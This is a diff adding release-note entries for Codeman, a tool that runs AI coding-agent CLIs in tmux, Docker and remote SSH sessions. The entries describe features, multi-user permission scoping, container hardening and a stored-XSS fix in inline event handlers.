+  - **Multi-user mode (shipped 1.5.0, opt-in `--multiuser` / `CODEMAN_MULTIUSER=1`).** Named users with scrypt-hashed passwords, per-user case spaces under `~/codeman-users/<name>/cases`, and full ownership scoping of sessions, cases, cron jobs, scheduled runs, search, file previews, and SSE/WS streams. Non-admin users default to Claude's classifier-guarded `--permission-mode auto`; shell mode, cron `launchCommand`, and skip-permissions bypass switches require the per-user `canBypassPermissions` grant (now toggleable from the Admin Panel). Admin API with one-time passwords, last-admin invariants, and an append-only audit log; self-service `/api/me` password change; `codeman users add|passwd|list|rm` CLI. Off by default is byte-identical to single-user. Note: multi-user separates workspaces for a trusted team; it is not a security boundary (all sessions share the host OS account), so pair it with Docker cases for real isolation.
+  - **Docker cases (shipped 1.4.0/1.4.1).** A case can run inside an isolated per-case container (any of the five CLI backends), with one-click "Run in Docker" quick-create, durable in-container tmux that survives Codeman restarts and resumes conversations after container stops, hardened container creation (cap-drop ALL, no-new-privileges, non-root, memory/pid limits, never privileged, never the docker socket), commit-safe seeded credentials, config-drift detection, GPU passthrough, and portable export/import bundles to move a whole case between machines.
+  - **1.6.0 highlights.** Remote SSH cases with durable remote tmux (survives SSH drops, auto-reconnect, shared multi-client attach, discover + attach with detach-not-kill); the Cmd+K session palette and unified Session Manager with pinning, cross-device tab order, and first/last prompt search; full-scrollback replay; and the multi-user permission downgrade now threading through to remote launch/attach.
+
+## 1.6.0
+
+### Minor Changes
+
+- Remote tmux durability, Session Manager polish, and an opt-in Cron button.
+
+  **Remote sessions: durability, discovery, and auto-reconnect** (PR #156 by @aakhter, COD-104 to COD-109)
+  - Durable remote launches survive an SSH drop: the agent runs inside `tmux -L codeman-remote new-session -A` on the remote host, and reconnecting lands back in the same session.
+  - Discover + attach: a "Discover existing sessions" action per remote host lists `codeman-*` tmux sessions on the host's canonical socket (started by the remote's own Codeman or another instance) and attaches to one. Attached (non-owned) sessions detach on tab close, never kill; a structural early-return in `killSession()` guarantees no remote `kill-session` can ever be issued for a session Codeman doesn't own (COD-105).
+  - Shared/collaborative sessions: per-session `window-size latest` so concurrent clients at different viewports don't clamp each other, plus a "shared - N clients" badge in discovery results (COD-106).
+  - Auto-reconnect watcher: a bounded-backoff (5s to 5m, ~6 attempts) watcher detects a dead remote pane and reattaches the still-running remote tmux session; intentional kills/detaches are guarded and never revived. Kill-switch setting `remoteAutoReconnect` (default on). SSE `remote:sessionDropped`/`sessionReconnected`/`reconnectExhausted`, with a manual Reconnect toast after exhaustion (COD-108).
+  - Owned durable sessions propagate `kill-session` to the remote on close (COD-109); the remote tmux prereq probe is skipped under the test runner (COD-104).
+  - All ssh command lines continue to flow through the single shell-safe `buildSshConnectionArgs()` (COD-107). New design doc: `docs/remote-sessions.md`.
+  - Maintainer additions: the discovery endpoint is admin-gated in multi-user mode, and the remote launch/attach chooser threads the multi-user permission downgrade (`claudeMode`/`allowedTools`) through to the remote agent.
+
+  **Session Manager: pinning, cross-device ordering, name/prompt retention** (PR #157 by @aakhter, COD-131/139/140/142/143/145)
+  - Session pinning: pin a session to the top of the Session Manager list (`POST /api/sessions/:id/pin`, `session:pinned` SSE, amber highlight + pin glyph). Pinned group orders most-recently-pinned first (COD-139).
+  - Pinned sessions survive kill: killing a pinned session demotes its record to a lightweight stopped entry instead of removing it, so it stays visible and resumable; cleanup skips pinned records (COD-142). The pin route also works on these persisted-only records, so a pinned-then-killed session can always be unpinned.
+  - Cross-device tab order: tab order syncs via server state (`PUT /api/session-order`, `session:orderChanged` SSE, persisted in `state.json`); the pushing device wins and server-only ids fall to the end, never dropped (COD-131).
+  - Resuming from the Session Manager keeps the session's original name instead of always synthesizing a fresh `w<N>-<dir>` one (COD-143).
+  - firstPrompt backfill for sessions whose Codeman id is not the transcript UUID (claudeSessionId join, then newest transcript in the same workingDir), and the most recent prompt is shown alongside the first and included in search (COD-140/145).
+
+  **Cron button now opt-in** (hidden by default)
+  - The Cron footer-toolbar button follows the same opt-in pattern as the Session Manager / Away Digest / File Viewer buttons: hidden by default, enable per device under App Settings -> Display -> Header Displays. Cron jobs themselves are unchanged.
+
+  Also: `docs/remote-sessions.md` synced with the shipped `-L codeman-remote` / `codeman-ssh-<id8>` naming.
+
+## 1.5.1
+
+### Patch Changes
+
+- Docker session-mode deep-review fixes — the work intended for the skipped **1.4.2**, now merged onto the 1.5.x line — plus a recap of the multi-user mode shipped in 1.5.0.
+
+  **Docker resume actually works now.** `DockerCase.lastClaudeSessionId` was read at quick-start but never written, so the documented resume-after-container-stop never fired. Claude-mode docker panes now pin a deterministic conversation id (`claudeDockerPaneCommand()`): a fresh launch runs `claude --session-id <id> || claude --resume <id>` (a duplicate `--session-id` exits 1 "already in use", so the fallback resumes after a container stop/reboot — verified CLI behavior), an explicit resume runs `--resume <rid> || --session-id <sid>` so a stale id never dead-panes. The id is persisted at launch and again on hook / last-response conversation-id adoption. Verified end-to-end across a `docker stop` + relaunch and a full container recreate.
+
+  **Config-drift detection + recreate (was documented but entirely missing).** The `codeman.confighash` label was stamped but never read, so docker-host config edits silently never applied. Quick-start now compares via `checkDockerConfigDrift()` and refuses a drifted launch with `CONFLICT`; the UI confirms and calls the new `POST /api/docker-cases/:name/recreate` (refused while the case has live sessions), then relaunches with the new config. New SSE event `docker:containerRecreated`.
+
+  **Model picker now applies to docker sessions.** `modelOverride` was absent from `QuickStartSchema`, so the App Settings Claude Model choice was silently inert for docker runs. It is now accepted and applied via `updateCaseModel` for local and docker quick-starts (still rejected for remote, where the settings file would land on the wrong machine).
+
+  **Import hardening.** `importDockerBundle` validates the untrusted cross-machine manifest before trusting any field (`validateImportManifest`: engine/image/containerWorkdir/network/caseName/schemaVersion — a hostile `engine` could previously select the probe binary); the outer bundle tar gets the same member-traversal guard as the inner workspace tar; the quarantine image tag derives from the schema-validated case name.
+
+  **Remote-daemon correctness.** All docker probes and the base-image auto-build now honor a host's `context`/`daemonHost` (`dockerEngineArgv`) instead of always probing the local daemon.
+
+  **Smaller fixes:** commas are rejected in docker workspace/workdir/destination paths (a comma corrupts the `--mount type=bind,src=…` CSV spec, which shell escaping cannot protect); a dead `this.escapeHtml` reference in the exports refresh is fixed; `docker:importComplete` / `docker:containerRecreated` get frontend SSE listeners so other open tabs refresh; the File Viewer header button is hidden on phone headers like its siblings.
+
+  **Docs.** CLAUDE.md + READMEs synced with the current feature set, including a full zh-CN README re-translation.
+
+  **Multi-user mode (recap — shipped in 1.5.0).** Opt-in named users (`--multiuser` / `CODEMAN_MULTIUSER=1`, off by default) with per-user case spaces and full ownership scoping of sessions, cases, cron jobs, scheduled runs, search, file previews, and real-time SSE/WS streams. Non-admin users default to Claude's classifier-guarded `--permission-mode auto`; raw shell mode, cron `launchCommand`, skip-permissions, and the Codex/Gemini bypass switches require an explicit per-user `canBypassPermissions` grant. Machine-level resources are admin-only. Admin API (`/api/admin/users*`) with one-time passwords, last-admin invariants, and an append-only audit log; self-service `/api/me` + password change; and a `codeman users add|passwd|list|rm` CLI. Off by default is byte-identical to single-user. Note: multi-user separates workspaces for a trusted team; it is not a security boundary between mutually-distrusting users (all sessions share the host OS account) — pair with Docker cases for real isolation.
+
+## 1.5.0
+
+### Minor Changes
+
+- 0ab2416: Opt-in multi-user mode (`--multiuser` / `CODEMAN_MULTIUSER=1`, off by default).
+
+  Named users with individually scrypt-hashed passwords in `~/.codeman/users.json`, per-user case spaces under `~/codeman-users/<name>/cases`, and ownership scoping of sessions (create/list/delete/mutate, incl. bulk delete), cases, cron jobs + run history, scheduled runs, search, file previews, session history, away digest, subagent/workflow monitors, and real-time SSE/WS streams (including the debounced session/task update path, clipboard, and push notifications). A non-admin's `workingDir` is realpath-confined to their own space at every spawn/link path (session create, quick-start, cron create/fire, scheduled runs, case link/docker-link, docker import). Non-admin users default to Claude's classifier-guarded `--permission-mode auto`; raw shell mode, cron `launchCommand`, skip-permissions, and the Codex/Gemini bypass switches require an explicit per-user `canBypassPermissions` grant (enforced at every spawn site incl. one-shots, plan generation, scheduled runs, and remote launches). Machine-level resources (remote/Docker hosts + host reads, mux sessions, orchestrator, tunnel, self-update, settings) are admin-only. Admin API (`/api/admin/users*`) with one-time passwords, last-admin invariants (validated before any teardown), and an append-only audit log; self-service `/api/me` + password change; a frontend admin Users tab + change-password modal; and `codeman users add|passwd|list|rm` CLI. Also adds a global `auto` Claude startup permission mode. When off, behavior is byte-identical to single-user.
+
+  Auth hardening: the login throttle verifies the password before consulting the per-account failure bucket (a correct password can never be locked out); the `mustChangePassword` lockbox covers the WebSocket terminal; the cookie fast-path re-validates identity against the store each request (so a CLI/admin delete/disable/demote takes effect promptly); a role/grant change revokes the target's sessions. (Known limitation: a bare CLI `codeman users passwd` reset — no delete — does not by itself revoke an already-active cookie until it expires; use `codeman users rm`, the admin API, or a restart to force-revoke.) Data-integrity hardening: the store distinguishes a missing users file from a corrupt/unreadable one (so a transient read error can't overwrite all accounts) and writes via a unique per-process temp file; the earlier fire-and-forget `touchLastLogin` corruption race is serialized.
+
+  Note: multi-user mode separates workspaces for a trusted team; it is not a security boundary between users (all sessions share the host OS account). Pair with Docker cases for real isolation.
+
+## 1.4.1
+
+### Patch Changes
+
+- **Docker session mode** hardening + fixes, plus a File Viewer header button.
+
+  **What Docker session mode is** (recap): a case can run inside an isolated, hardened Docker container instead of on the host, and any of the CLI backends (Claude, Codex, Gemini, OpenCode, or a plain shell) runs inside it. It is a location overlay on cases — not a new session mode — and the container analog of remote-SSH cases: a local tmux pane `docker exec`s into a durable in-container tmux, with exactly one long-lived container per case that multiple sessions share. The workspace, credentials, and conversation transcripts are bind-mounted so the agent is authenticated and resumable; containers are hardened by default (`--cap-drop ALL`, `--security-opt no-new-privileges`, non-root, pids/memory caps, `--init`, never `--privileged` or the docker socket) and export-safe. Start one with the one-click "Run in Docker" checkbox on Create Case, or the Docker tab for full control.
+
+  This release fixes the rough edges found running it for real:
+
+  Docker cases:
+  - **Seamless Claude auth in containers**: `~/.claude.json` is no longer bind-mounted as a single file (a mount point that broke Claude's atomic-rename config writes — forcing re-auth and, via failed in-place writes, corrupting the host `~/.claude.json`). It is now seeded as a writable, onboarding-complete copy, so a docker session boots straight to the prompt (no theme picker, login, or folder-trust prompt).
+  - **Claude-state isolation**: containers no longer bind-mount the whole `~/.claude` directory (which wrote backups/tasks/teams/settings back into the host). Only `~/.claude/projects` transcripts are shared (host watchers + `--resume`); credentials, settings, and stats-cache are seeded as writable copies; everything else stays container-local.
+  - **Codex/Gemini/gcloud/opencode isolation**: same treatment — codex shares `sessions/` + `history.jsonl` (response-viewer + resume) and seeds `auth.json`/`config.toml`; gemini/gcloud/opencode are whole seed-copies. Containers never write their credential state back into the host dirs.
+  - **Base image auto-builds on first use**: a missing `codeman/agent:base` no longer blocks case creation or launch; it builds locally on first use (concurrency-safe, with SSE progress toasts).
+  - **UTF-8 locale**: containers set `LANG`/`LC_ALL=C.UTF-8` so tmux renders Claude's box-drawing correctly (fixes `qqqq` line artifacts).
+  - **Create Case UI**: larger, collapsed-by-default "Run in Docker" settings with a shorter hint; dockerized cases show a short `(docker)` tag (or the custom host id) in the case menus.
+  - **Tab naming**: docker/remote (and codex/gemini/opencode) sessions now follow the `w<n>-<case>` convention instead of `codeman-<id>`.
+
+  Other:
+  - **File Viewer header button** (opt-in via App Settings, Header Displays): toggle the file browser panel from the header.
+  - Fixed a timezone-boundary flaky test in the away-digest route suite.
+
+## 1.4.0
+
+### Minor Changes
+
+- Add **Docker session mode**: a case can now run inside an isolated Docker container instead of on the host, with configurable network / resource / credential settings, multiple sessions sharing one per-case container, and one-click export to move a container (toolchain + workspace) to another machine.
+  - Docker is a location overlay on cases (not a new session mode), mirroring the remote-SSH feature: a local tmux pane runs `docker exec -it` into a durable in-container tmux server. The container is scoped to the case (`codeman-case-<name>`), so multiple sessions share it; killing one session never stops the shared container.
+  - New `/api/docker-hosts` CRUD, `/api/cases/docker-link`, and a `/api/quick-start` docker branch. Create Case gains a **Docker** tab. Base image is built locally via `scripts/build-agent-image.mjs` (node + claude/codex/gemini/opencode + tmux, secret-free, arbitrary-uid-writable HOME).
+  - Hardened by default: `--cap-drop ALL`, `--security-opt no-new-privileges`, non-root, `--pids-limit`, `--memory`==`--memory-swap`, `--init`; never `--privileged` or the docker socket. Convenient credential default bind-mounts host `~/.claude` etc. read-write (never captured by `docker commit`); a sealed profile is opt-in.
+  - Two-layer durability: reconnect after a Codeman restart reattaches the same live agent; a container stop/reboot resumes the conversation from the bind-mounted transcript via `--resume`.
+  - Export / import: full-image (`docker commit` + `save` + workspace tar + manifest) or workspace-only, to one portable `.codeman-container.tgz`; import validates checksums, guards path traversal, and re-tags the loaded image into a quarantined namespace. Instance-scoped boot reaper cleans orphaned containers. New `docker:*` SSE events. Docs in `docs/docker-cases.md`.
+  - Robustness: sets `CLAUDE_CODE_TMPDIR` in the container so claude launches regardless of workspace path. In-container hooks require the server to be reachable from the container (documented); on a loopback-only bind, idle detection falls back to output-based.
+
+  Also wire session, away-digest, and cron header-button visibility toggles in App Settings.
+
+## 1.3.5
+
+### Patch Changes
+
+- a842f2d: fix(auth): slide the session cookie so active users aren't logged out
+
+  Re-issue the `codeman_session` cookie on every authenticated request so the
+  browser cookie lifetime tracks the server-side sliding TTL (the session store
+  already uses `refreshOnGet`). Previously the cookie was only set on the Basic
+  Auth path with a fixed 24h lifetime from login, so the browser dropped it
+  mid-use; the next request arrived cookie-less, fell through to Basic Auth and
+  popped the native username/password dialog, perceived as a random logout while
+  actively working.
+
+## 1.3.4
+
+### Patch Changes
+
+- Fix "Run Shell" not switching the terminal to the newly created shell session. Clicking Run Shell created the shell tab but left the previous session's terminal on screen, so you had to manually click the new tab to actually enter it. Root cause: `runShell()` pre-set `activeSessionId` to the new session's id right before calling `selectSession()`, and `selectSession()` early-returns when the requested id already matches the active one, so it skipped the terminal buffer load, tab activation, and focus. Removed the premature assignment in both the local and remote-SSH shell branches so `selectSession()` runs to completion (matching `runClaude`/`runCodex`/`runGemini`/`runOpenCode`, which already avoid this). Verified end-to-end in a real browser with a negative/positive control.
+
+## 1.3.3
+
+### Patch Changes
+
+- Fix terminal scroll-back in Claude sessions, especially on macOS trackpads (#154).
+  - **Deterministic CLI version detection.** `cliVersion` was often `undefined` because it was scraped from the `Claude Code vX.Y.Z` startup banner, which newer Claude Code builds (2.1.187+) don't reliably print and resumed sessions never show. With the version unknown, wheel-forwarding to Claude's transcript was silently disabled — and since repaint-mode Claude keeps no local terminal scrollback, scrolling up reached nothing. A new `getClaudeCliVersion()` probe (`claude --version`, cached, local-only) seeds the version at session start so forwarding engages. Restored sessions pick it up on restart.
+  - **Trackpad Shift+scroll.** The wheel handler now reads the dominant axis, so a macOS trackpad's Shift+two-finger scroll — which the browser reports as horizontal `deltaX` — reaches xterm's local scrollback instead of collapsing to a fixed one line per tick.
+  - **Opt-out setting.** New per-device App Settings → Input → "Wheel Scrolls Local History" (default off) pins the plain wheel to local scrollback (the pre-#144 behavior) for shell and other non-repaint sessions.
+  - **No more "queued bytes" flicker on scroll.** Wheel-scroll reports now use a fire-and-forget send path (seq-less input frame) instead of the durable exactly-once input queue, so they no longer appear in the pending-bytes connection indicator or churn localStorage. Keystrokes, taps, and clicks still use the durable queue.
+
+## 1.3.2
+
+### Patch Changes
+
+- Make the Cron Jobs modal fully skin-aware and consistent with App Settings' design language.
+  - **Fix white dropdowns:** `.form-select` had no `appearance` reset and the app set no `color-scheme`, so native `<select>` fields rendered as white OS widgets that ignored the active skin. Selects now use `appearance: none` with an opaque `var(--bg-input)` fill, a `var(--border)` outline, and a custom chevron, so they follow the skin (daylight `#202833`, OG `#1a1a1f`). This is on the shared `.form-select` class, so App Settings, Cron, and every other select match and are fixed together.
+  - Set `color-scheme: dark` on `:root` so native select option popups, date/time pickers, and scrollbars render dark across all three (dark) skins instead of flashing white.
+  - Themed the Cron date/time inputs with `var(--bg-input)` / `var(--border)` instead of hardcoded values.
+  - Fixed the Cron toolbar: "+ New Job" / "Refresh" and the footer Save / Cancel now use the full `btn-toolbar` size (matching the App Settings footer), with a wider gap and a divider under the toolbar for better spacing.
+
+## 1.3.1
+
+### Patch Changes
+
+- Redesign the Cron Jobs modal to match the App Settings styling, and fix a bug that left its create form fully expanded.
+  - **Fix:** the cron modal's "New Cron Job" form and all of its conditional rows (Launch Command, Prompt File Path, and the once/interval/daily/weekly schedule fields) never actually collapsed — there is no global `.hidden` utility in the stylesheet and the cron modal never scoped its own, so the form opened fully expanded with every field visible at once. Added a scoped `#cronModal .hidden` rule; the form now stays collapsed until "+ New Job" and only shows the fields relevant to the selected agent type, prompt source, and schedule type.
+  - Sectioned the create/edit form into Basics / Prompt / Schedule / Options with the same section-header dividers used in App Settings, and increased row spacing.
+  - Styled the agent-type / prompt-source / input-mode / schedule-type dropdowns and the datetime-local / time inputs to share the bordered, rounded, focus-ringed field look.
+  - Converted the "Auto-close previous run's session" and "Enabled" toggles into App-Settings-style cards (label + description on the left, compact switch on the right).
+  - Replaced the raw weekday checkboxes with pill toggles that fill with the accent color when selected.
+  - Restyled the job list rows as hover-highlighted cards with pill badges (agent type, schedule, disabled) and right-aligned actions, and gave the modal a divider-topped Cancel / Save footer.
+
+## 1.3.0
+
+### Minor Changes
+
+- Community release: 16 contributor PRs reviewed (multi-agent adversarial review), fixed, and merged. Thanks to @aakhter, @TeigenZhang, @chatgptkrylor, @kvncrw, and @pirronewantlux529-coder!
+
+  **New features**
+  - **Cron jobs** (#141, @chatgptkrylor): recurring scheduled jobs (once/interval/daily/weekly) that spawn a session and send a prompt when due — CRUD + run history (`/api/cron/*`), ⏰ modal UI, per-job concurrency policy and `autoClosePreviousSession` lifecycle, pure unit-tested next-run math. Distinct from the legacy `ScheduledRun`.
+  - **Remote host SSH cases** (#145, @aakhter): link cases on remote hosts (`remote-hosts.json`/`remote-cases.json`), launch sessions over ssh into a durable remote tmux (dedicated `-L codeman-remote` socket; adoption-safe naming), per-host command overrides, injection-guarded schemas, remote tmux probe + ConnectTimeout, remote kill on delete, recovery-safe persistence.
+  - **Command-K session palette + searchable case picker + shortcut registry** (#146, @aakhter): Ctrl/Cmd/Alt+K fuzzy session palette with "Browse all sessions" Session Manager; searchable quick-start case picker (remote-aware labels); rebindable shortcut registry with App Settings → Shortcuts tab and Ctrl+? overlay.
+  - **Unified session list** (#139, @aakhter): `GET /api/sessions/unified` merges live/persisted/lifecycle/transcript sessions into one deduped list (resumed sessions fold via claudeSessionId alias map).
+  - **Unified Session Manager UX** (#153, @aakhter): unified welcome list with mode/LIVE badges + per-row kebab menu, `projectKey` plumbing for "View all in this folder", SSE-driven live list refresh, desktop Session Manager header button.
+  - **Full-scrollback replay** (#148, @aakhter): page reload replays the entire tmux scrollback (`?full=1`, bounded capture with proper maxBuffer) with CRLF normalization for shell panes.
+  - **WebSocket resilience** (#149, @aakhter): reconnect with preserved exponential backoff, per-tab connection identity (multi-tab safe), ACK re-drive, and a truthful connection chip (WS/HTTP/reconnecting states).
+  - **PTY-exit circuit breaker + TMUX scrub** (#147, @aakhter): rapid PTY crash-loops trip a breaker (SSE + critical push notification; explicit-restart-only reset); inherited TMUX vars are scrubbed so Codeman-in-tmux doesn't nest.
+  - **Codex generated-artifact attachments** (#150, @aakhter): codex sessions surface `Saved to: file://…` outputs as attachment cards (realpath-anchored trust, codex-mode-gated, jpg/gif/webp thumbnails).
+  - **Codex response viewer** (#152, @pirronewantlux529-coder): the eye button now works for Codex sessions via 4-layer rollout resolution (history pin → originator → resume-UUID → cwd) with dedup + injected-context filtering.
+  - **HEIC paste conversion** (#151, @aakhter): iPhone HEIC pastes convert to JPEG server-side in a worker thread (concurrency-capped, 64MP decompression-bomb guard, magic-byte detection for mislabeled Android HEIFs). Deps: heic-decode + jpeg-js.
+  - **WebGL renderer toggle** (#140, @kvncrw): per-device setting to switch xterm between WebGL and DOM renderers, cooperating with the GPU-stall auto-fallback marker.
+  - **Raised terminal history defaults** (#138, @aakhter): tmux history-limit 50k→100k lines, PTY buffer 2MB/1.5MB→32MB/24MB (env-clamped so trim always stays below max).
+
+  **Mobile & input fixes**
+  - CJK input loss fixes: IME state machine, focus routing, Android InputConnection recovery — with content-free diagnostics (#143, @TeigenZhang).
+  - Tap/click/wheel restored when the server strips mouse DECSETs — version-gated wheel passthrough (claude ≥ 2.1.187), link-click double-fire fix, Shift+wheel documented (#144, @TeigenZhang).
+  - Response-viewer readability on phones + iOS dvh viewport fix (#142, @TeigenZhang).
+
+  **Docs**: CLAUDE.md accuracy audit (18 verified fixes: security hook-bypass description, env-prefix allowlist, state-file inventory, watcher/function names, counts) + documentation for all new subsystems. README gains a user walkthrough (#141).
+
+  All PRs went through adversarial multi-agent review; ~60 verified findings (including 12 blockers) were fixed on the contributors' branches before merge. Full test suite green: 3,400+ tests.
+
+### Patch Changes
+
+- bf36eb0: Add a **WebGL Renderer** toggle to Settings → Appearance (desktop). WebGL stays on by default; turning it off forces the DOM renderer for users who hit GPU glitches, without needing the `?nowebgl` URL param. Turning it back on (or `?webgl=force`) clears any stale auto-fallback marker. The existing mobile skip and long-task auto-fallback safety net are unchanged. The skip decision is factored into a pure, unit-tested `shouldSkipWebGL()` helper.
+
+## 1.2.2
+
+### Patch Changes
+
+- Centralize terminal history/scrollback/buffer retention limits into config (PR #137, COD-80).
+
+  New `src/config/terminal-history.ts` is now the single source of truth for the terminal scrollback lines, tmux `history-limit`, and server PTY buffer byte caps that were previously scattered as hardcoded literals across `buffer-limits.ts`, `tmux-manager.ts`, and `session.ts`. Each value is overridable (env var or the settings object) and bounds-clamped via a pure `resolveTerminalHistoryConfig()`.
+
+  This change is behavior-neutral: the defaults intentionally match the prior hardcoded values (tmux history-limit 50,000; terminal scrollback 50,000; PTY buffer max 2 MB; trim 1.5 MB) and the existing `CODEMAN_MAX_TERMINAL_BUFFER` / `CODEMAN_TRIM_TERMINAL_TO` env overrides are preserved, so runtime behavior is unchanged on its own. It is the mechanism half of a stacked change; a follow-up raises the defaults.
+  - `buffer-limits.ts` sources `MAX_TERMINAL_BUFFER_SIZE` / `TRIM_TERMINAL_TO` from the resolver.
+  - `tmux-manager.ts` uses `DEFAULT_TMUX_HISTORY_LIMIT` in place of the hardcoded `history-limit 50000`, gains `setHistoryLimit()` (mux-interface + impl) so a settings change applies to live sessions, and re-applies the limit on `respawnPane` so it survives a respawn.
+  - `session.ts` threads a per-session `tmuxHistoryLimit` into the tmux spawn calls; `server.ts` exposes `getTerminalHistoryConfig()` on the route ctx and `system-routes.ts` applies a changed `tmuxHistoryLimit` to live sessions immediately.
+  - `schemas.ts` adds four optional, bounds-clamped settings keys (`terminalScrollbackLines`, `tmuxHistoryLimit`, `terminalBufferMaxBytes`, `terminalBufferTrimBytes`) with a `trim <= max` cross-field check.
+  - New tests: `test/terminal-history.test.ts` (resolver defaults / clamping / trim<=max / non-number fallback) and `test/terminal-history-schema.test.ts` (settings-schema validation).
+
+## 1.2.1
+
+### Patch Changes
+
+- Fix local echo on iOS Safari when switching into a tab whose session already has output. The on-screen-keyboard "heal" (refit + scroll-to-bottom + overlay re-render + one-shot resize) only ran on a keyboard visibility transition, so switching into a tab while the keyboard was already up never triggered it — leaving the local-echo overlay rendering against stale, off-bottom terminal state. Typed characters were invisible (or mispositioned at the cursor row, far below the actual `❯` prompt) until the user manually hid and re-showed the keyboard. `selectSession` now replicates that heal when the keyboard is already visible, so local echo paints correctly on the first keystroke after a keyboard-up tab switch.
+
+## 1.2.0
+
+### Minor Changes
+
+- Merge four feature PRs and harden them for release.
+
+  **Gemini run mode (PR #134, COD-36)** — a third external-CLI backend alongside Codex and OpenCode (`SessionMode` adds `'gemini'`). New `gemini-cli-resolver.ts`, `buildGeminiCommand()` (`--skip-trust`, `--approval-mode {default|auto_edit|yolo|plan}` defaulting to `yolo`, `--model`, `--resume`), `setGeminiEnvVars()` (socket-scoped `tmux setenv` of `GEMINI_*`/`GOOGLE_*` auth incl. Vertex AI), `GET /api/gemini/status` with an install hint (`npm install -g @google/gemini-cli`), run-mode dropdown + welcome "Run Gemini" button + "Run GM" label, `GeminiConfigSchema`, and `GEMINI_*`/`GOOGLE_*` added to the env-override allowlist. Requires tmux (no PTY fallback), like Codex.
+
+  **Cross-session search (PR #133, COD-113)** — `GET /api/search?q=&types=&limit=` federates an in-memory search across session metadata, run-summary events, and attachment-history file entries (substring match, hard caps, no FS reads); history-panel search box in the frontend.
+
+  **Away digest (PR #136, COD-41)** — `GET /api/away-digest` aggregates "what happened while you were away" (lifecycle log, run summaries, live sessions, daily token stats, recent subagents) into categorized sections behind a header-button modal (hidden on phones).
+
+  **Ralph todo-config (PR #135, COD-79)** — per-session `maxTodos` and `todoExpirationMinutes` via `POST /api/sessions/:id/ralph-config`; now persisted in `RalphTrackerState` and read back into the Session Options modal (mirrors `maxIterations` round-trip).
+
+  **Review fixes applied on merge:**
+  - Gemini: fixed two `{success,data}` envelope bugs in `runGemini()` (status check and new-session selection) that made the Run-Gemini button non-functional; fixed `setGeminiEnvVars()` to use the socket-scoped tmux command so Google-auth env injection actually reaches the session.
+  - Gemini parity: tab-mode badge, kill-dialog label, `codeman doctor` registry entry, `isGeminiAvailable` barrel export, `COLORTERM=truecolor`, and alt-screen/scrollback stripping (Ink TUI, like Codex/Claude).
+  - Restored four envelope-shape test assertions weakened during the Gemini PR; added a `runGemini()` regression test covering the envelope path.
+  - Ralph todo-config values now persist across restart and read back correctly instead of always reverting to defaults.
+
+## 1.1.17
+
+### Patch Changes
+
+- Fix the connection indicator flashing "Sending 1B…" on every keystroke. The reliable input-delivery layer (1.1.16) marks each keystroke as briefly pending until its ACK arrives a few milliseconds later, which made the indicator flash on every character while typing on a healthy connection. The indicator is now hidden whenever the connection is healthy and only appears for an actual problem (reconnecting/offline), where it still shows the queued byte count so you know buffered input will be sent.
+
+## 1.1.16
+
+### Patch Changes
+
+- Mobile image uploads, reliable input delivery, and gesture window dragging.
+
+  **Mobile image uploads (camera-roll picker / drag-drop / paste).** The "🖼 Image" button now handles real photo batches: up to 20 images per batch uploaded with bounded concurrency and a live "Uploading N/M…" progress toast (with a summary of successes, failures, and whether the 20-cap trimmed the selection). The per-file limit is raised from 10MB to 50MB (`MAX_PASTE_IMAGE_BYTES`, env-overridable via `CODEMAN_MAX_PASTE_IMAGE_BYTES`) so full-resolution phone photos and large screenshots are accepted. Very large images are downscaled to ≤4096px on the longest edge before upload, fixing iOS Safari's ~16.7M-px `<canvas>` limit that previously made huge photos fail to re-encode. Also fixes a latent concurrency bug the batch path exposed where the first parallel uploads to a session raced on creating `.claude-images/` and failed with EEXIST.
+
+  **Reliable, exactly-once input delivery.** A "sent" prompt could be silently lost on a flaky connection (e.g. a train): a half-open WebSocket accepts `ws.send()` without error while discarding the frame, and nothing was queued or resent. Input is now recorded durably (localStorage) with a stable clientId + monotonic per-session sequence before delivery, and only dropped once the server ACKs it — delivered over the WebSocket (acked via `{t:'ia',seq}`) or, when the socket is down, over POST in order. A 2s sweep force-reconnects a half-open socket; pending input survives reconnects and page reloads. The server applies each `(clientId, seq)` at most once (`Session.shouldApplyInput`), so an at-least-once resend can never type the prompt twice. Untagged input (curl/legacy) is unchanged. See `docs/reliable-input-delivery.md`.
+
+  **Gesture beta: drag agent windows.** With the camera hand-tracking overlay, you can now pinch and move the floating subagent and ultracode run/transcript windows. They keep their glowing connector line to the session tab while moving and can travel across a multi-monitor seam.
+
+## 1.1.15
+
+### Patch Changes
+
+- Security: harden all frontend inline `onclick`/`ondblclick` handlers against a stored-XSS double-context bug.
+
+  Many inline handlers interpolated values as `'${escapeHtml(value)}'` — a JavaScript string literal sitting inside an HTML attribute. The browser HTML-decodes the attribute value _before_ parsing the handler source, so `escapeHtml`'s `&#39;` reverts to a literal `'` and a quote-bearing id/name/path/URL breaks out of the JS string into executable code. `escapeHtml` alone is insufficient for this JS-string-within-HTML-attribute context.
+
+  All affected handlers now use `escapeHtml(JSON.stringify(value))`: `JSON.stringify` JS-encodes and quote-wraps the value, then `escapeHtml` handles the HTML-attribute layer, so the value round-trips as a single inert string argument.
+  - ultracode run/agent cards and minimized-tab badges (`ultracode-panel.js`, `ultracode-windows.js`) — PR #132.
+  - Session tabs (click/rename/gear/detach/close), notifications, subagent windows + dropdowns, the agents/tools/log-viewer/image-popup panels, mux-session monitor rows, and case-management buttons (`app.js`, `notification-manager.js`, `subagent-windows.js`, `panels-ui.js`, `session-ui.js`).
+  - Two non-`escapeHtml` variants of the same class: a pre-escaped mux-session id in `panels-ui.js` (`selectSession`/`killMuxSession`) and a fully raw, unescaped `phase.id` in `orchestrator-panel.js` (`orchestratorSkipPhase`/`orchestratorRetryPhase`).
+
+  The most realistic exploitation vector was file paths in the project-insights log-viewer link, since filenames can legally contain a single quote. Purely numeric interpolations and developer-literal handler strings were left unchanged.
+
+## 1.1.14
+
+### Patch Changes
+
+- Ultracode (Workflow-tool) floating windows — agent transcripts in-page, and minimize-to-tab.
+  - **Agent transcripts open in-page, connected, instead of a detached browser popup.** Clicking an agent card (in a run window or the dock panel) now opens the agent's live transcript as its own draggable floating window, tied by a connector line to its parent run window (falling back to the run's session tab if that window has since closed) — the same line idiom the run windows use. Re-clicking a card focuses the existing window; closing it removes the window and its line. (Previously this spawned a separate `window.open` browser popup.)
+  - **The window "−" button now minimizes into the originating session tab**, mirroring the subagent-window idiom. The window genie-animates into its tab and is tracked there; the tab shows an `ULTRA` badge whose hover/click dropdown lists each minimized item (🧬 run windows, 📄 agent transcripts). Click an item to restore its floating window, or dismiss it with ×. A run minimized while still active keeps tracking in the background and its badge auto-clears shortly after the run finishes. Both run windows and agent-transcript windows minimize into the same merged badge.
